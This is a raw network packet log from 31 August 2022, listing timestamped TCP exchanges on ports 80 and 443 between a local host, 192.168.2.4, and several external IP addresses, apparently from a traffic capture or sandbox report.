Aug 31, 2022 14:28:53.234273911 CEST	49740	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:53.301103115 CEST	80	49737	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:53.301162004 CEST	49737	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:53.374682903 CEST	80	49740	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:53.374814034 CEST	49740	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:53.375509977 CEST	49740	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:53.515809059 CEST	80	49740	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:53.535804033 CEST	80	49740	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:53.577445030 CEST	49740	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:54.152446985 CEST	49740	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:54.152488947 CEST	49740	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:54.292711973 CEST	80	49740	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:54.347976923 CEST	80	49740	45.136.151.102	192.168.2.4
Aug 31, 2022 14:28:54.557955980 CEST	49740	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:28:54.947083950 CEST	49741	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:28:55.136554003 CEST	80	49741	190.140.74.43	192.168.2.4
Aug 31, 2022 14:28:55.136698961 CEST	49741	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:28:55.198016882 CEST	49741	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:28:55.198067904 CEST	49741	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:28:55.391282082 CEST	80	49741	190.140.74.43	192.168.2.4
Aug 31, 2022 14:28:56.032816887 CEST	80	49741	190.140.74.43	192.168.2.4
Aug 31, 2022 14:28:56.032852888 CEST	80	49741	190.140.74.43	192.168.2.4
Aug 31, 2022 14:28:56.032947063 CEST	49741	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:28:56.231910944 CEST	49741	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:28:56.420979977 CEST	80	49741	190.140.74.43	192.168.2.4
Aug 31, 2022 14:28:56.677959919 CEST	49742	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:56.853710890 CEST	80	49742	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:56.853785992 CEST	49742	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:56.855983019 CEST	49742	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:56.856000900 CEST	49742	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:57.011863947 CEST	80	49742	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:57.301234961 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:28:57.301327944 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:28:57.301429987 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:28:57.309007883 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:28:57.309041977 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:28:57.352885962 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:28:57.353095055 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:28:57.491641998 CEST	80	49742	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:57.491820097 CEST	49742	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:57.491833925 CEST	80	49742	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:57.491902113 CEST	49742	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:57.891403913 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:28:57.891638041 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:28:57.892246962 CEST	443	49743	104.21.40.196	192.168.2.4
Aug 31, 2022 14:28:57.905849934 CEST	49742	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:58.059765100 CEST	80	49742	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:58.077907085 CEST	49743	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:28:58.152699947 CEST	49744	443	192.168.2.4	104.21.1.91
Aug 31, 2022 14:28:58.152790070 CEST	443	49744	104.21.1.91	192.168.2.4
Aug 31, 2022 14:28:58.152895927 CEST	49744	443	192.168.2.4	104.21.1.91
Aug 31, 2022 14:28:58.160387039 CEST	49744	443	192.168.2.4	104.21.1.91
Aug 31, 2022 14:28:58.160465002 CEST	443	49744	104.21.1.91	192.168.2.4
Aug 31, 2022 14:28:58.244966030 CEST	443	49744	104.21.1.91	192.168.2.4
Aug 31, 2022 14:28:58.245141029 CEST	49744	443	192.168.2.4	104.21.1.91
Aug 31, 2022 14:28:58.284444094 CEST	49744	443	192.168.2.4	104.21.1.91
Aug 31, 2022 14:28:58.284508944 CEST	443	49744	104.21.1.91	192.168.2.4
Aug 31, 2022 14:28:58.284888983 CEST	443	49744	104.21.1.91	192.168.2.4
Aug 31, 2022 14:28:58.288968086 CEST	49744	443	192.168.2.4	104.21.1.91
Aug 31, 2022 14:28:58.331388950 CEST	443	49744	104.21.1.91	192.168.2.4
Aug 31, 2022 14:28:58.354262114 CEST	443	49744	104.21.1.91	192.168.2.4
Aug 31, 2022 14:28:58.354379892 CEST	443	49744	104.21.1.91	192.168.2.4
Aug 31, 2022 14:28:58.354486942 CEST	49744	443	192.168.2.4	104.21.1.91
Aug 31, 2022 14:28:58.396891117 CEST	49744	443	192.168.2.4	104.21.1.91
Aug 31, 2022 14:28:58.396949053 CEST	443	49744	104.21.1.91	192.168.2.4
Aug 31, 2022 14:28:59.626226902 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.626281977 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.626388073 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.631561041 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.631603956 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.714617968 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.714704990 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.724080086 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.724107981 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.724581957 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.725523949 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.767379999 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837191105 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837258101 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837311029 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837348938 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837372065 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.837388039 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837410927 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.837433100 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837466002 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837471962 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.837485075 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837522030 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.837528944 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837560892 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837594032 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.837594986 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837604046 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837637901 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.837646008 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837680101 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837712049 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837718964 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.837728024 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837760925 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.837763071 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837773085 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837821007 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.837829113 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837862968 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837898970 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.837907076 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.837990046 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838030100 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838032007 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.838038921 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838073969 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.838082075 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838126898 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838162899 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.838171005 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838217974 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838254929 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.838263035 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838303089 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838335991 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.838336945 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838345051 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838381052 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.838387966 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838419914 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838454008 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838454008 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.838462114 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838498116 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.838505030 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838536024 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838567972 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.838568926 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838577986 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838613987 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.838620901 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838874102 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.838934898 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.838943005 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.870105982 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.870296955 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.870325089 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.870383978 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.870918989 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.870965004 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871021986 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871049881 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.871103048 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871140003 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.871143103 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871181965 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871242046 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.871249914 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871260881 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871268034 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.871305943 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.871315956 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871376991 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.871754885 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871825933 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871854067 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871880054 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.871898890 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871910095 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.871912956 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871925116 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.871953011 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.871953011 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871963024 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.871993065 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.872013092 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.872031927 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.872040033 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.872051954 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.872056007 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.872112036 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.872119904 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.872179031 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.872215033 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.872277975 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.872289896 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.872349977 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.903167009 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.903215885 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.903358936 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.903386116 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.904623985 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.904685974 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.904728889 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.904738903 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.904759884 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.904778004 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.904809952 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.904818058 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.904829025 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.904870987 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.904874086 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.904886961 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.904987097 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.905013084 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.905203104 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.905267000 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.905277967 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.905302048 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.905327082 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.905332088 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.905360937 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.905379057 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.905400038 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.905404091 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.905462027 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.905471087 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.905492067 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.905517101 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.905524015 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.905574083 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.905582905 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.905602932 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.905626059 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.906197071 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906320095 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906320095 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.906336069 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906409025 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906452894 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.906472921 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906490088 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.906495094 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906526089 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.906543016 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906563044 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.906567097 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906632900 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906631947 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.906646967 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906694889 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906694889 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.906717062 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906738997 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.906744003 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906759977 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.906774998 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.906840086 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.907495022 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.907553911 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.907577991 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.907644033 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.907669067 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.907685995 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.908312082 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.908343077 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.908428907 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.908444881 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.908468008 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.908667088 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.908709049 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.908737898 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.908850908 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.908865929 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.908946037 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.908952951 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.908967018 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.908984900 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.909006119 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.909070969 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.909082890 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.909132004 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.909838915 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.909862041 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.909959078 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.909998894 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.910053968 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.910495043 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.910516977 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.910602093 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.910619974 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.910655975 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.910672903 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.910718918 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.910737991 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.910789013 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.910799980 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.910826921 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.910860062 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.928447962 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.936363935 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.936391115 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.936494112 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.936520100 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.936538935 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.936583996 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.937843084 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.937865973 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.937975883 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.937999010 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.938020945 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.938024044 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.938045979 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.938077927 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.938095093 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.938117981 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.938169003 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.938235998 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.938254118 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.938325882 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.938344955 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.938364029 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.938412905 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.939059973 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.939080000 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.939173937 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.939192057 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.939210892 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.939265966 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.939297915 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.939320087 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.939390898 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.939410925 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.939430952 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.939472914 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.940155029 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.940180063 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.940279007 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.940300941 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.940320015 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.940354109 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.940947056 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.940970898 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.941062927 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:28:59.941078901 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:28:59.941148996 CEST	49745	443	192.168.2.4	172.67.202.54
